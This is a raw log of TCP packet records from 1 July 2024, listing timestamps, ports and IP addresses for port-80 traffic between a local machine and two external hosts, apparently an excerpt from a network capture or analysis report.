Jul 1, 2024 07:20:46.173403025 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173407078 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173415899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173430920 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173444986 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173454046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173465014 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173476934 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173494101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173516989 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173535109 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173573017 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173646927 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173659086 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173671007 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173681974 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173688889 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173695087 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173696041 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173721075 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173744917 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173801899 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173815012 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173825979 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173837900 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173840046 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173850060 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173852921 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173868895 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.173872948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173897982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.173923969 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174102068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174113989 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174125910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174137115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174141884 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174149036 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174151897 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174166918 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174175978 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174181938 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174194098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174200058 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174207926 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174232006 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174247026 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174300909 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174312115 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174323082 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174336910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174340010 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174361944 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174386024 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174397945 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174406052 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174412966 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174420118 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174427032 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174427986 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174436092 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174453020 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174479961 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174659967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174701929 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174787998 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174810886 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174823046 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174829960 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174834967 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174843073 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174849033 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174860001 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174860954 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174873114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174877882 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174885988 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174905062 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174922943 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.174952984 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174964905 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174976110 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174987078 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.174989939 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175009966 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175038099 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175242901 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175254107 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175263882 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175280094 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175288916 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175301075 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175302982 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175313950 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175326109 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175331116 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175337076 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175342083 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175362110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175383091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175530910 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175543070 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175554037 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175565004 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175565958 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175576925 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175580025 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175590038 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175600052 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175602913 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175616980 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.175628901 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175640106 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.175663948 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.836436033 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.836478949 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:46.841430902 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:46.841456890 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:47.673036098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:47.673140049 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:47.728821993 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:47.733803034 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:48.077822924 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:48.077840090 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:48.077851057 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:48.077872992 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:48.077954054 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:48.078000069 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:48.080610991 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:48.298717022 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:48.298854113 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:48.299371958 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:48.476910114 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:48.476977110 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:48.515587091 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:48.520396948 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:49.215851068 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:49.215955973 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:49.242614031 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:49.247410059 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:49.954461098 CEST	80	49711	85.28.47.4	192.168.2.6
Jul 1, 2024 07:20:49.954569101 CEST	49711	80	192.168.2.6	85.28.47.4
Jul 1, 2024 07:20:49.957896948 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:49.962769985 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:49.962893963 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:49.963017941 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:49.967792988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679497957 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679512978 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679559946 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.679599047 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.679770947 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679784060 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679794073 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679811001 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.679846048 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.679868937 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679882050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679893970 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679899931 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.679933071 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.679954052 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.679964066 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.680000067 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.684385061 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.684395075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.684436083 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.684448004 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.684638023 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.684648037 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.684658051 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.684689045 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.684720993 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803052902 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803065062 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803075075 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803170919 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803181887 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803189039 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803191900 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803225040 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803241968 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803469896 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803509951 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803567886 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803601027 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803613901 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803625107 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803651094 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803663969 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803698063 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803708076 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.803735971 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.803745985 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.804389000 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.804416895 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.804431915 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.804439068 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.804454088 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.804469109 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.804478884 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.804496050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.804510117 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.804516077 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.804527998 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.804541111 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.805330992 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.805342913 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.805352926 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.805376053 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.805392981 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.805424929 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.805429935 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.805433035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.805464983 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.805484056 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.806416035 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.806466103 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.928750992 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.928765059 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.928875923 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.928899050 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.928910971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.928910017 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.928958893 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.928958893 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929061890 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929071903 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929106951 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929414034 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929425001 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929435015 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929466963 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929480076 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929534912 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929585934 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929624081 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929661036 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929718971 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929738998 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929749966 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929765940 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929786921 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929819107 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929831028 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.929858923 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.929883003 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.930246115 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.930257082 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.930267096 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.930298090 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.930315018 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.930340052 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.930351019 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.930361986 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.930376053 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.930377960 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.930394888 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.930422068 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.931258917 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.931271076 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.931281090 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.931314945 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.931329012 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.931379080 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.931391954 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.931402922 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.931413889 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.931418896 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.931436062 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.931463003 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932005882 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932018995 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932029963 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932040930 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932053089 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932068110 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932092905 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932127953 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932138920 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932151079 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932166100 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932178974 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932192087 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932858944 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932869911 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932881117 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932907104 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932930946 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932938099 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932950020 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932971954 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.932976961 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.932992935 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.933007002 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.933029890 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.933068991 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.933700085 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.933768988 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.933779955 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.933794022 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.933811903 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.933818102 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.933831930 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.933844090 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.933868885 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.933885098 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.934267998 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.934286118 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:50.934313059 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:50.934328079 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.051584959 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051598072 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051608086 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051681995 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.051697969 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051708937 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051717043 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.051727057 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051737070 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051747084 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051748037 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.051762104 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051774979 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.051799059 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.051932096 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051942110 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051953077 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051974058 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.051978111 CEST	80	49714	77.91.77.81	192.168.2.6
Jul 1, 2024 07:20:51.051990986 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.052017927 CEST	49714	80	192.168.2.6	77.91.77.81
Jul 1, 2024 07:20:51.052022934 CEST	80	49714	77.91.77.81	192.168.2.6
